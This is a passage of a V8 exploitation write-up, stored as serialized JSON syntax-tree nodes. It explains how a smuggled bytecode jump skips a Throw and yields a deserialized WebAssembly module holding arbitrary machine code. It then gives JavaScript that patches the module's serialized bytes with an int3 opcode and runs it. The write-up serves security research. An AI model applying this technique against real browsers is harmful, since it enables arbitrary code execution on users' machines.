a16;\n}\n",[132688],{"type":23,"tag":92,"props":132689,"children":132690},{"__ignoreMap":7},[132691,132702,132750,132771,132787,132810,132838,132855],{"type":23,"tag":134,"props":132692,"children":132693},{"class":136,"line":137},[132694,132698],{"type":23,"tag":134,"props":132695,"children":132696},{"style":189},[132697],{"type":28,"value":47836},{"type":23,"tag":134,"props":132699,"children":132700},{"style":179},[132701],{"type":28,"value":463},{"type":23,"tag":134,"props":132703,"children":132704},{"class":136,"line":147},[132705,132710,132714,132719,132723,132728,132732,132737,132741,132745],{"type":23,"tag":134,"props":132706,"children":132707},{"style":162},[132708],{"type":28,"value":132709},"  $",{"type":23,"tag":134,"props":132711,"children":132712},{"style":179},[132713],{"type":28,"value":76130},{"type":23,"tag":134,"props":132715,"children":132716},{"style":1461},[132717],{"type":28,"value":132718},"'a1 + 0xa931111;'",{"type":23,"tag":134,"props":132720,"children":132721},{"style":179},[132722],{"type":28,"value":720},{"type":23,"tag":134,"props":132724,"children":132725},{"style":264},[132726],{"type":28,"value":132727},"repeat",{"type":23,"tag":134,"props":132729,"children":132730},{"style":179},[132731],{"type":28,"value":272},{"type":23,"tag":134,"props":132733,"children":132734},{"style":205},[132735],{"type":28,"value":132736},"0x059302",{"type":23,"tag":134,"props":132738,"children":132739},{"style":168},[132740],{"type":28,"value":50761},{"type":23,"tag":134,"props":132742,"children":132743},{"style":205},[132744],{"type":28,"value":1729},{"type":23,"tag":134,"props":132746,"children":132747},{"style":179},[132748],{"type":28,"value":132749},")}\n",{"type":23,"tag":134,"props":132751,"children":132752},{"class":136,"line":185},[132753,132758,132762,132767],{"type":23,"tag":134,"props":132754,"children":132755},{"style":162},[132756],{"type":28,"value":132757},"  a1",{"type":23,"tag":134,"props":132759,"children":132760},{"style":168},[132761],{"type":28,"value":8365},{"type":23,"tag":134,"props":132763,"children":132764},{"style":205},[132765],{"type":28,"value":132766}," 0x0402666c",{"type":23,"tag":134,"props":132768,"children":132769},{"style":179},[132770],{"type":28,"value":182},{"type":23,"tag":134,"props":132772,"children":132773},{"class":136,"line":221},[132774,132778,132783],{"type":23,"tag":134,"props":132775,"children":132776},{"style":189},[132777],{"type":28,"value":34699},{"type":23,"tag":134,"props":132779,"children":132780},{"style":205},[132781],{"type":28,"value":132782}," 0x393e91a",{"type":23,"tag":134,"props":132784,"children":132785},{"style":179},[132786],{"type":28,"value":182},{"type":23,"tag":134,"props":132788,"children":132789},{"class":136,"line":332},[132790,132794,132798,132802,132806],{"type":23,"tag":134,"props":132791,"children":132792},{"style":179},[132793],{"type":28,"value":46378},{"type":23,"tag":134,"props":132795,"children":132796},{"style":189},[132797],{"type":28,"value":47916},{"type":23,"tag":134,"props":132799,"children":132800},{"style":179},[132801],{"type":28,"value":232},{"type":23,"tag":134,"props":132803,"children":132804},{"style":162},[132805],{"type":28,"value":50960},{"type":23,"tag":134,"props":132807,"children":132808},{"style":179},[132809],{"type":28,"value":14272},{"type":23,"tag":134,"props":132811,"children":132812},{"class":136,"line":438},[132813,132817,132821,132825,132829,132834],{"type":23,"tag":134,"props":132814,"children":132815},{"style":162},[132816],{"type":28,"value":101456},{"type":23,"tag":134,"props":132818,"children":132819},{"style":179},[132820],{"type":28,"value":720},{"type":23,"tag":134,"props":132822,"children":132823},{"style":264},[132824],{"type":28,"value":101465},{"type":23,"tag":134,"props":132826,"children":132827},{"style":179},[132828],{"type":28,"value":272},{"type":23,"tag":134,"props":132830,"children":132831},{"style":1461},[132832],{"type":28,"value":132833},"\"foo\"",{"type":23,"tag":134,"props":132835,"children":132836},{"style":179},[132837],{"type":28,"value":1021},{"type":23,"tag":134,"props":132839,"children":132840},{"class":136,"line":466},[132841,132846,132851],{"type":23,"tag":134,"props":132842,"children":132843},{"style":189},[132844],{"type":28,"value":132845},"  yield",{"type":23,"tag":134,"props":132847,"children":132848},{"style":162},[132849],{"type":28,"value":132850}," a16",{"type":23,"tag":134,"props":132852,"children":132853},{"style":179},[132854],{"type":28,"value":182},{"type":23,"tag":134,"props":132856,"children":132857},{"class":136,"line":479},[132858],{"type":23,"tag":134,"props":132859,"children":132860},{"style":179},[132861],{"type":28,"value":1098},{"type":23,"tag":24,"props":132863,"children":132864},{},[132865,132867],{"type":28,"value":132866},"Starting from the final ",{"type":23,"tag":92,"props":132868,"children":132870},{"className":132869},[],[132871],{"type":28,"value":132574},{"type":23,"tag":87,"props":132873,"children":132875},{"code":132874}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[132876],{"type":23,"tag":92,"props":132877,"children":132878},{"__ignoreMap":7},[132879],{"type":28,"value":132874},{"type":23,"tag":24,"props":132881,"children":132882},{},[132883,132885,132890,132892,132898],{"type":28,"value":132884},"The smuggled jump in ",{"type":23,"tag":92,"props":132886,"children":132888},{"className":132887},[],[132889],{"type":28,"value":132574},{"type":28,"value":132891}," will redirect us to ",{"type":23,"tag":92,"props":132893,"children":132895},{"className":132894},[],[132896],{"type":28,"value":132897},"1a e9 93 03",{"type":28,"value":132899},", which results in:",{"type":23,"tag":16158,"props":132901,"children":132902},{},[132903,132914],{"type":23,"tag":4894,"props":132904,"children":132905},{},[132906,132912],{"type":23,"tag":92,"props":132907,"children":132909},{"className":132908},[],[132910],{"type":28,"value":132911},"Star r16",{"type":28,"value":132913}," (store accumulator to r16)",{"type":23,"tag":4894,"props":132915,"children":132916},{},[132917,132922],{"type":23,"tag":92,"props":132918,"children":132920},{"className":132919},[],[132921],{"type":28,"value":132344},{"type":28,"value":132923}," past the throw into the catch relevant code",{"type":23,"tag":24,"props":132925,"children":132926},{},[132927,132929,132935],{"type":28,"value":132928},"This will bring us nicely to the final ",{"type":23,"tag":92,"props":132930,"children":132932},{"className":132931},[],[132933],{"type":28,"value":132934},"yield a16",{"type":28,"value":132936},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":9072,"props":132938,"children":132940},{"id":132939},"executing-shellcode",[132941],{"type":28,"value":132942},"Executing Shellcode",{"type":23,"tag":24,"props":132944,"children":132945},{},[132946],{"type":28,"value":132947},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":87,"props":132949,"children":132951},{"code":132950,"language":35113,"meta":7,"className":35111,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[132952],{"type":23,"tag":92,"props":132953,"children":132954},{"__ignoreMap":7},[132955,132985,133212,133280,133287,133332,133378,133418,133425,133449,133486,133522],{"type":23,"tag":134,"props":132956,"children":132957},{"class":136,"line":137},[132958,132962,132967,132971,132975,132980],{"type":23,"tag":134,"props":132959,"children":132960},{"style":151},[132961],{"type":28,"value":34544},{"type":23,"tag":134,"props":132963,"children":132964},{"style":162},[132965],{"type":28,"value":132966}," wasm_code",{"type":23,"tag":134,"props":132968,"children":132969},{"style":168},[132970],{"type":28,"value":171},{"type":23,"tag":134,"props":132972,"children":132973},{"style":151},[132974],{"type":28,"value":31428},{"type":23,"tag":134,"props":132976,"children":132977},{"style":264},[132978],{"type":28,"value":132979}," Uint8Array",{"type":23,"tag":134,"props":132981,"children":132982},{"style":179},[132983],{"type":28,"value":132984},"([\n",{"type":23,"tag":134,"props":132986,"children":132987},{"class":136,"line":147},[132988,132993,132997,133002,133006,133011,133015,133020,133024,133028,133032,133036,133040,133044,133048,133052,133056,133060,133064,133068,133072,133076,133080,133085,133089,133093,133097,133101,133105,133109,133113,133117,133121,133125,133129,133133,133137,133141,133145,133149,133153,133157,133161,133165,133169,133173,133177,133182,133186,133191,133195,133200,133204,133208],{"type":23,"tag":134,"props":132989,"children":132990},{"style":205},[132991],{"type":28,"value":132992},"  0",{"type":23,"tag":134,"props":132994,"children":132995},{"style":179},[132996],{"type":28,"value":242},{"type":23,"tag":134,"props":132998,"children":132999},{"style":205},[133000],{"type":28,"value":133001},"97",{"type":23,"tag":134,"props":133003,"children":133004},{"style":179},[133005],{"type":28,"value":242},{"type":23,"tag":134,"props":133007,"children":133008},{"style":205},[133009],{"type":28,"value":133010},"115",{"type":23,"tag":134,"props":133012,"children":133013},{"style":179},[133014],{"type":28,"value":242},{"type":23,"tag":134,"props":133016,"children":133017},{"style":205},[133018],{"type":28,"value":133019},"109",{"type":23,"tag":134,"props":133021,"children":133022},{"style":179},[133023],{"type":28,"value":242},{"type":23,"tag":134,"props":133025,"children":133026},{"style":205},[133027],{"type":28,"value":1214},{"type":23,"tag":134,"props":133029,"children":133030},{"style":179},[133031],{"type":28,"value":242},{"type":23,"tag":134,"props":133033,"children":133034},{"style":205},[133035],{"type":28,"value":1224},{"type":23,"tag":134,"props":133037,"children":133038},{"style":179},[133039],{"type":28,"value":242},{"type":23,"tag":134,"props":133041,"children":133042},{"style":205},[133043],{"type":28,"value":1224},{"type":23,"tag":134,"props":133045,"children":133046},{"style":179},[133047],{"type":28,"value":242},{"type":23,"tag":134,"props":133049,"children":133050},{"style":205},[133051],{"type":28,"value":1224},{"type":23,"tag":134,"props":133053,"children":133054},{"style":179},[133055],{"type":28,"value":242},{"type":23,"tag":134,"props":133057,"children":133058},{"style":205},[133059],{"type":28,"value":1214},{"type":23,"tag":134,"props":133061,"children":133062},{"style":179},[133063],{"type":28,"value":242},{"type":23,"tag":134,"props":133065,"children":133066},{"style":205},[133067],{"type":28,"value":17001},{"type":23,"tag":134,"props":133069,"children":133070},{"style":179},[133071],{"type":28,"value":242},{"type":23,"tag":134,"props":133073,"children":133074},{"style":205},[133075],{"type":28,"value":1214},{"type":23,"tag":134,"props":133077,"children":133078},{"style":179},[133079],{"type":28,"value":242},{"type":23,"tag":134,"props":133081,"children":133082},{"style":205},[133083],{"type":28,"value":133084},"96",{"type":23,"tag":134,"props":133086,"children":133087},{"style":179},[133088],{"type":28,"value":242},{"type":23,"tag":134,"props":133090,"children":133091},{"style":205},[133092],{"type":28,"value":1224},{"type":23,"tag":134,"props":133094,"children":133095},{"style":179},[133096],{"type":28,"value":242},{"type":23,"tag":134,"props":133098,"children":133099},{"style":205},[133100],{"type":28,"value":1224},{"type":23,"tag":134,"props":133102,"children":133103},{"style":179},[133104],{"type":28,"value":242},{"type":23,"tag":134,"props":133106,"children":133107},{"style":205},[133108],{"type":28,"value":16768},{"type":23,"tag":134,"props":133110,"children":133111},{"style":179},[133112],{"type":28,"value":242},{"type":23,"tag":134,"props":133114,"children":133115},{"style":205},[133116],{"type":28,"value":291},{"type":23,"tag":134,"props":133118,"children":133119},{"style":179},[133120],{"type":28,"value":242},{"type":23,"tag":134,"props":133122,"children":133123},{"style":205},[133124],{"type":28,"value":1214},{"type":23,"tag":134,"props":133126,"children":133127},{"style":179},[133128],{"type":28,"value":242},{"type":23,"tag":134,"props":133130,"children":133131},{"style":205},[133132],{"type":28,"value":1224},{"type":23,"tag":134,"props":133134,"children":133135},{"style":179},[133136],{"type":28,"value":242},{"type":23,"tag":134,"props":133138,"children":133139},{"style":205},[133140],{"type":28,"value":54177},{"type":23,"tag":134,"props":133142,"children":133143},{"style":179},[133144],{"type":28,"value":242},{"type":23,"tag":134,"props":133146,"children":133147},{"style":205},[133148],{"type":28,"value":55392},{"type":23,"tag":134,"props":133150,"children":133151},{"style":179},[133152],{"type":28,"value":242},{"type":23,"tag":134,"props":133154,"children":133155},{"style":205},[133156],{"type":28,"value":1214},{"type":23,"tag":134,"props":133158,"children":133159},{"style":179},[133160],{"type":28,"value":242},{"type":23,"tag":134,"props":133162,"children":133163},{"style":205},[133164],{"type":28,"value":17582},{"type":23,"tag":134,"props":133166,"children":133167},{"style":179},[133168],{"type":28,"value":242},{"type":23,"tag":134,"props":133170,"children":133171},{"style":205},[133172],{"type":28,"value":133010},{"type":23,"tag":134,"props":133174,"children":133175},{"style":179},[133176],{"type":28,"value":242},{"type":23,"tag":134,"props":133178,"children":133179},{"style":205},[133180],{"type":28,"value":133181},"104",{"type":23,"tag":134,"props":133183,"children":133184},{"style":179},[133185],{"type":28,"value":242},{"type":23,"tag":134,"props":133187,"children":133188},{"style":205},[133189],{"type":28,"value":133190},"101",{"type":23,"tag":134,"props":133192,"children":133193},{"style":179},[133194],{"type":28,"value":242},{"type":23,"tag":134,"props":133196,"children":133197},{"style":205},[133198],{"type":28,"value":133199},"108",{"type":23,"tag":134,"props":133201,"children":133202},{"style":179},[133203],{"type":28,"value":242},{"type":23,"tag":134,"props":133205,"children":133206},{"style":205},[133207],{"type":28,"value":133199},{"type":23,"tag":134,"props":133209,"children":133210},{"style":179},[133211],{"type":28,"value":687},{"type":23,"tag":134,"props":133213,"children":133214},{"class":136,"line":185},[133215,133219,133223,133227,133231,133235,133239,133243,133247,133251,133255,133259,133263,133267,133271,133276],{"type":23,"tag":134,"props":133216,"children":133217},{"style":205},[133218],{"type":28,"value":132992},{"type":23,"tag":134,"props":133220,"children":133221},{"style":179},[133222],{"type":28,"value":242},{"type":23,"tag":134,"props":133224,"children":133225},{"style":205},[133226],{"type":28,"value":1224},{"type":23,"tag":134,"props":133228,"children":133229},{"style":179},[133230],{"type":28,"value":242},{"type":23,"tag":134,"props":133232,"children":133233},{"style":205},[133234],{"type":28,"value":88765},{"type":23,"tag":134,"props":133236,"children":133237},{"style":179},[133238],{"type":28,"value":242},{"type":23,"tag":134,"props":133240,"children":133241},{"style":205},[133242],{"type":28,"value":17001},{"type":23,"tag":134,"props":133244,"children":133245},{"style":179},[133246],{"type":28,"value":242},{"type":23,"tag":134,"props":133248,"children":133249},{"style":205},[133250],{"type":28,"value":1214},{"type":23,"tag":134,"props":133252,"children":133253},{"style":179},[133254],{"type":28,"value":242},{"type":23,"tag":134,"props":133256,"children":133257},{"style":205},[133258],{"type":28,"value":291},{"type":23,"tag":134,"props":133260,"children":133261},{"style":179},[133262],{"type":28,"value":242},{"type":23,"tag":134,"props":133264,"children":133265},{"style":205},[133266],{"type":28,"value":1224},{"type":23,"tag":134,"props":133268,"children":133269},{"style":179},[133270],{"type":28,"value":242},{"type":23,"tag":134,"props":133272,"children":133273},{"style":205},[133274],{"type":28,"value":133275},"11",{"type":23,"tag":134,"props":133277,"children":133278},{"style":179},[133279],{"type":28,"value":687},{"type":23,"tag":134,"props":133281,"children":133282},{"class":136,"line":221},[133283],{"type":23,"tag":134,"props":133284,"children":133285},{"style":179},[133286],{"type":28,"value":943},{"type":23,"tag":134,"props":133288,"children":133289},{"class":136,"line":332},[133290,133294,133298,133302,133306,133311,133315,133319,133323,133328],{"type":23,"tag":134,"props":133291,"children":133292},{"style":151},[133293],{"type":28,"value":34544},{"type":23,"tag":134,"props":133295,"children":133296},{"style":162},[133297],{"type":28,"value":71134},{"type":23,"tag":134,"props":133299,"children":133300},{"style":168},[133301],{"type":28,"value":171},{"type":23,"tag":134,"props":133303,"children":133304},{"style":151},[133305],{"type":28,"value":31428},{"type":23,"tag":134,"props":133307,"children":133308},{"style":162},[133309],{"type":28,"value":133310}," WebAssembly",{"type":23,"tag":134,"props":133312,"children":133313},{"style":179},[133314],{"type":28,"value":720},{"type":23,"tag":134,"props":133316,"children":133317},{"style":264},[133318],{"type":28,"value":85431},{"type":23,"tag":134,"props":133320,"children":133321},{"style":179},[133322],{"type":28,"value":272},{"type":23,"tag":134,"props":133324,"children":133325},{"style":162},[133326],{"type":28,"value":133327},"wasm_code",{"type":23,"tag":134,"props":133329,"children":133330},{"style":179},[133331],{"type":28,"value":1021},{"type":23,"tag":134,"props":133333,"children":133334},{"class":136,"line":438},[133335,133339,133344,133348,133352,133356,133360,133365,133369,133374],{"type":23,"tag":134,"props":133336,"children":133337},{"style":151},[133338],{"type":28,"value":34544},{"type":23,"tag":134,"props":133340,"children":133341},{"style":162},[133342],{"type":28,"value":133343}," inst",{"type":23,"tag":134,"props":133345,"children":133346},{"style":168},[133347],{"type":28,"value":171},{"type":23,"tag":134,"props":133349,"children":133350},{"style":151},[133351],{"type":28,"value":31428},{"type":23,"tag":134,"props":133353,"children":133354},{"style":162},[133355],{"type":28,"value":133310},{"type":23,"tag":134,"props":133357,"children":133358},{"style":179},[133359],{"type":28,"value":720},{"type":23,"tag":134,"props":133361,"children":133362},{"style":264},[133363],{"type":28,"value":133364},"Instance",{"type":23,"tag":134,"props":133366,"children":133367},{"style":179},[133368],{"type":28,"value":272},{"type":23,"tag":134,"props":133370,"children":133371},{"style":162},[133372],{"type":28,"value":133373},"mod",{"type":23,"tag":134,"props":133375,"children":133376},{"style":179},[133377],{"type":28,"value":1021},{"type":23,"tag":134,"props":133379,"children":133380},{"class":136,"line":466},[133381,133385,133389,133393,133397,133401,133405,133409,133414],{"type":23,"tag":134,"props":133382,"children":133383},{"style":151},[133384],{"type":28,"value":34544},{"type":23,"tag":134,"props":133386,"children":133387},{"style":162},[133388],{"type":28,"value":79521},{"type":23,"tag":134,"props":133390,"children":133391},{"style":168},[133392],{"type":28,"value":171},{"type":23,"tag":134,"props":133394,"children":133395},{"style":162},[133396],{"type":28,"value":133343},{"type":23,"tag":134,"props":133398,"children":133399},{"style":179},[133400],{"type":28,"value":720},{"type":23,"tag":134,"props":133402,"children":133403},{"style":162},[133404],{"type":28,"value":37384},{"type":23,"tag":134,"props":133406,"children":133407},{"style":179},[133408],{"type":28,"value":720},{"type":23,"tag":134,"props":133410,"children":133411},{"style":162},[133412],{"type":28,"value":133413},"shell",{"type":23,"tag":134,"props":133415,"children":133416},{"style":179},[133417],{"type":28,"value":182},{"type":23,"tag":134,"props":133419,"children":133420},{"class":136,"line":479},[133421],{"type":23,"tag":134,"props":133422,"children":133423},{"emptyLinePlaceholder":15},[133424],{"type":28,"value":865},{"type":23,"tag":134,"props":133426,"children":133427},{"class":136,"line":497},[133428,133432,133437,133441,133445],{"type":23,"tag":134,"props":133429,"children":133430},{"style":168},[133431],{"type":28,"value":55895},{"type":23,"tag":134,"props":133433,"children":133434},{"style":264},[133435],{"type":28,"value":133436},"WasmTierUpFunction",{"type":23,"tag":134,"props":133438,"children":133439},{"style":179},[133440],{"type":28,"value":272},{"type":23,"tag":134,"props":133442,"children":133443},{"style":162},[133444],{"type":28,"value":75812},{"type":23,"tag":134,"props":133446,"children":133447},{"style":179},[133448],{"type":28,"value":1021},{"type":23,"tag":134,"props":133450,"children":133451},{"class":136,"line":518},[133452,133456,133461,133465,133470,133474,133478,133482],{"type":23,"tag":134,"props":133453,"children":133454},{"style":151},[133455],{"type":28,"value":34544},{"type":23,"tag":134,"props":133457,"children":133458},{"style":162},[133459],{"type":28,"value":133460}," serialized",{"type":23,"tag":134,"props":133462,"children":133463},{"style":168},[133464],{"type":28,"value":171},{"type":23,"tag":134,"props":133466,"children":133467},{"style":168},[133468],{"type":28,"value":133469}," %",{"type":23,"tag":134,"props":133471,"children":133472},{"style":264},[133473],{"type":28,"value":132468},{"type":23,"tag":134,"props":133475,"children":133476},{"style":179},[133477],{"type":28,"value":272},{"type":23,"tag":134,"props":133479,"children":133480},{"style":162},[133481],{"type":28,"value":133373},{"type":23,"tag":134,"props":133483,"children":133484},{"style":179},[133485],{"type":28,"value":1021},{"type":23,"tag":134,"props":133487,"children":133488},{"class":136,"line":527},[133489,133493,133497,133501,133505,133509,133513,133518],{"type":23,"tag":134,"props":133490,"children":133491},{"style":151},[133492],{"type":28,"value":11254},{"type":23,"tag":134,"props":133494,"children":133495},{"style":162},[133496],{"type":28,"value":8622},{"type":23,"tag":134,"props":133498,"children":133499},{"style":168},[133500],{"type":28,"value":171},{"type":23,"tag":134,"props":133502,"children":133503},{"style":151},[133504],{"type":28,"value":31428},{"type":23,"tag":134,"props":133506,"children":133507},{"style":264},[133508],{"type":28,"value":132979},{"type":23,"tag":134,"props":133510,"children":133511},{"style":179},[133512],{"type":28,"value":272},{"type":23,"tag":134,"props":133514,"children":133515},{"style":162},[133516],{"type":28,"value":133517},"serialized",{"type":23,"tag":134,"props":133519,"children":133520},{"style":179},[133521],{"type":28,"value":1021},{"type":23,"tag":134,"props":133523,"children":133524},{"class":136,"line":780},[133525,133530,133534,133538,133542,133547,133551,133555,133559,133564,133568,133573,133577,133581,133586],{"type":23,"tag":134,"props":133526,"children":133527},{"style":162},[133528],{"type":28,"value":133529},"console",{"type":23,"tag":134,"props":133531,"children":133532},{"style":179},[133533],{"type":28,"value":720},{"type":23,"tag":134,"props":133535,"children":133536},{"style":264},[133537],{"type":28,"value":101465},{"type":23,"tag":134,"props":133539,"children":133540},{"style":179},[133541],{"type":28,"value":272},{"type":23,"tag":134,"props":133543,"children":133544},{"style":1461},[133545],{"type":28,"value":133546},"'['",{"type":23,"tag":134,"props":133548,"children":133549},{"style":168},[133550],{"type":28,"value":8365},{"type":23,"tag":134,"props":133552,"children":133553},{"style":162},[133554],{"type":28,"value":8622},{"type":23,"tag":134,"props":133556,"children":133557},{"style":179},[133558],{"type":28,"value":720},{"type":23,"tag":134,"props":133560,"children":133561},{"style":264},[133562],{"type":28,"value":133563},"join",{"type":23,"tag":134,"props":133565,"children":133566},{"style":179},[133567],{"type":28,"value":272},{"type":23,"tag":134,"props":133569,"children":133570},{"style":1461},[133571],{"type":28,"value":133572},"', '",{"type":23,"tag":134,"props":133574,"children":133575},{"style":179},[133576],{"type":28,"value":252},{"type":23,"tag":134,"props":133578,"children":133579},{"style":168},[133580],{"type":28,"value":1586},{"type":23,"tag":134,"props":133582,"children":133583},{"style":1461},[133584],{"type":28,"value":133585}," ']'",{"type":23,"tag":134,"props":133587,"children":133588},{"style":179},[133589],{"type":28,"value":1021},{"type":23,"tag":24,"props":133591,"children":133592},{},[133593],{"type":28,"value":133594},"This produces the following output:",{"type":23,"tag":87,"props":133596,"children":133598},{"code":133597},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[133599],{"type":23,"tag":92,"props":133600,"children":133601},{"__ignoreMap":7},[133602],{"type":28,"value":133597},{"type":23,"tag":24,"props":133604,"children":133605},{},[133606,133608,133614,133616,133622,133624,133630,133631,133637,133639,133644],{"type":28,"value":133607},"The bytes ",{"type":23,"tag":92,"props":133609,"children":133611},{"className":133610},[],[133612],{"type":28,"value":133613},"85, 72, 137, 229, ...",{"type":28,"value":133615}," correspond to the x86-64 function prologue (",{"type":23,"tag":92,"props":133617,"children":133619},{"className":133618},[],[133620],{"type":28,"value":133621},"push rbp; mov rbp, rsp",{"type":28,"value":133623},"). We replace the first byte with ",{"type":23,"tag":92,"props":133625,"children":133627},{"className":133626},[],[133628],{"type":28,"value":133629},"0xcc",{"type":28,"value":15930},{"type":23,"tag":92,"props":133632,"children":133634},{"className":133633},[],[133635],{"type":28,"value":133636},"int3",{"type":28,"value":133638}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":92,"props":133640,"children":133642},{"className":133641},[],[133643],{"type":28,"value":132442},{"type":28,"value":1697},{"type":23,"tag":87,"props":133646,"children":133648},{"code":133647,"language":35113,"meta":7,"className":35111,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[133649],{"type":23,"tag":92,"props":133650,"children":133651},{"__ignoreMap":7},[133652,133675,133702,133922,133989,133997,134024,134238,134490,134741,134967,135211,135431,135438,135487,135532,135576,135615,135627],{"type":23,"tag":134,"props":133653,"children":133654},{"class":136,"line":137},[133655,133659,133663,133667,133671],{"type":23,"tag":134,"props":133656,"children":133657},{"style":179},[133658],{"type":28,"value":272},{"type":23,"tag":134,"props":133660,"children":133661},{"style":151},[133662],{"type":28,"value":35643},{"type":23,"tag":134,"props":133664,"children":133665},{"style":179},[133666],{"type":28,"value":39195},{"type":23,"tag":134,"props":133668,"children":133669},{"style":151},[133670],{"type":28,"value":14290},{"type":23,"tag":134,"props":133672,"children":133673},{"style":179},[133674],{"type":28,"value":463},{"type":23,"tag":134,"props":133676,"children":133677},{"class":136,"line":147},[133678,133682,133686,133690,133694,133698],{"type":23,"tag":134,"props":133679,"children":133680},{"style":151},[133681],{"type":28,"value":35686},{"type":23,"tag":134,"props":133683,"children":133684},{"style":162},[133685],{"type":28,"value":132966},{"type":23,"tag":134,"props":133687,"children":133688},{"style":168},[133689],{"type":28,"value":171},{"type":23,"tag":134,"props":133691,"children":133692},{"style":151},[133693],{"type":28,"value":31428},{"type":23,"tag":134,"props":133695,"children":133696},{"style":264},[133697],{"type":28,"value":132979},{"type":23,"tag":134,"props":133699,"children":133700},{"style":179},[133701],{"type":28,"value":132984},{"type":23,"tag":134,"props":133703,"children":133704},{"class":136,"line":185},[133705,133710,133714,133718,133722,133726,133730,133734,133738,133742,133746,133750,133754,133758,133762,133766,133770,133774,133778,133782,133786,133790,133794,133798,133802,133806,133810,133814,133818,133822,133826,133830,133834,133838,133842,133846,133850,133854,133858,133862,133866,133870,133874,133878,133882,133886,133890,133894,133898,133902,133906,133910,133914,133918],{"type":23,"tag":134,"props":133706,"children":133707},{"style":205},[133708],{"type":28,"value":133709},"    0",{"type":23,"tag":134,"props":133711,"children":133712},{"style":179},[133713],{"type":28,"value":242},{"type":23,"tag":134,"props":133715,"children":133716},{"style":205},[133717],{"type":28,"value":133001},{"type":23,"tag":134,"props":133719,"children":133720},{"style":179},[133721],{"type":28,"value":242},{"type":23,"tag":134,"props":133723,"children":133724},{"style":205},[133725],{"type":28,"value":133010},{"type":23,"tag":134,"props":133727,"children":133728},{"style":179},[133729],{"type":28,"value":242},{"type":23,"tag":134,"props":133731,"children":133732},{"style":205},[133733],{"type":28,"value":133019},{"type":23,"tag":134,"props":133735,"children":133736},{"style":179},[133737],{"type":28,"value":242},{"type":23,"tag":134,"props":133739,"children":133740},{"style":205},[133741],{"type":28,"value":1214},{"type":23,"tag":134,"props":133743,"children":133744},{"style":179},[133745],{"type":28,"value":242},{"type":23,"tag":134,"props":133747,"children":133748},{"style":205},[133749],{"type":28,"value":1224},{"type":23,"tag":134,"props":133751,"children":133752},{"style":179},[133753],{"type":28,"value":242},{"type":23,"tag":134,"props":133755,"children":133756},{"style":205},[133757],{"type":28,"value":1224},{"type":23,"tag":134,"props":133759,"children":133760},{"style":179},[133761],{"type":28,"value":242},{"type":23,"tag":134,"props":133763,"children":133764},{"style":205},[133765],{"type":28,"value":1224},{"type":23,"tag":134,"props":133767,"children":133768},{"style":179},[133769],{"type":28,"value":242},{"type":23,"tag":134,"props":133771,"children":133772},{"style":205},[133773],{"type":28,"value":1214},{"type":23,"tag":134,"props":133775,"children":133776},{"style":179},[133777],{"type":28,"value":242},{"type":23,"tag":134,"props":133779,"children":133780},{"style":205},[133781],{"type":28,"value":17001},{"type":23,"tag":134,"props":133783,"children":133784},{"style":179},[133785],{"type":28,"value":242},{"type":23,"tag":134,"props":133787,"children":133788},{"style":205},[133789],{"type":28,"value":1214},{"type":23,"tag":134,"props":133791,"children":133792},{"style":179},[133793],{"type":28,"value":242},{"type":23,"tag":134,"props":1